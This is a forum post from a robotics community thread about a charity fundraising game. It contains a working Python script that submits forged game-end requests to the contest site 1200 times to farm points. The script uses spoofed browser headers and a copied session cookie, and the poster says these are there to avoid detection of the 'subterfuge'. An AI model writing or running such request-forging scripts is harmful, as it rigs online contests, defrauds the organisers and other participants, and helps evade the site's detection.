View Single Post
  #118   Spotlight this post!  
Unread 03-06-2011, 20:18
lemiant's Avatar
lemiant lemiant is offline
the Dreamer
AKA: Alex
FRC #4334 (Alberta Tech Alliance)
Team Role: Leadership
 
Join Date: Feb 2009
Rookie Year: 2008
Location: Calgary, AB, Canada
Posts: 562
lemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond reputelemiant has a reputation beyond repute
Re: Please help Wave Robotics earn $1,000!!!

I just thought I'd do a shameless plug for python:

Quote:
import urllib
import urllib2
import time

url = 'http://www.oshkoshareacf.org/gameend.cfm';

values = {'GameID': '15',
'Player2Score': '0',
'PlayerID2': '32',
'Player1Score' : '5',
'PlayerID1' : '31'}

headers = {'Host': 'www.oshkoshareacf.org',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 FirePHP/0.5',
'Accept': 'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 FirePHP/0.5',
'Accept-Language': 'en-us,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive': '115',
'Connection': 'keep-alive',
'Cookie': 'CFID=6467245; CFTOKEN=19355325; __utma=68525711.2050307234.1305435022.1305435022.1 307141491.2; __utmz=68525711.1307141491.2.2.utmcsr=chiefdelphi. com|utmccn=(referral)|utmcmd=referral|utmcct=/forums/showthread.php; __utmb=68525711.9.10.1307141491; __utmc=68525711',
'x-insight': 'activate'}

data = urllib.urlencode(values)


for i in range (0, 1200):
req = urllib2.Request(url, data, headers)
response = urllib2.urlopen(req)
print i
print "done"
It is for the current set (I only just found this thread), and it can handle about 3000 coins per minute. With only a rudimentary knowledge of python you could pull this off. You probably don't even need the headers, I just put them in so that if they store each request and all its information (which is very unlikely), they won't be able to detect the subterfuge.

EDIT: After reading through this thread I ran it again for the other side so as to not influence the outcome. Seriously though, you guys SIGNIFICANTLY underestimate the power and overestimate challenge of scripts. If two of me were fighting this out, the number would be in the tens to hundreds of millions (or, more likely, the site would crash).

Last edited by lemiant : 03-06-2011 at 20:33.
Reply With Quote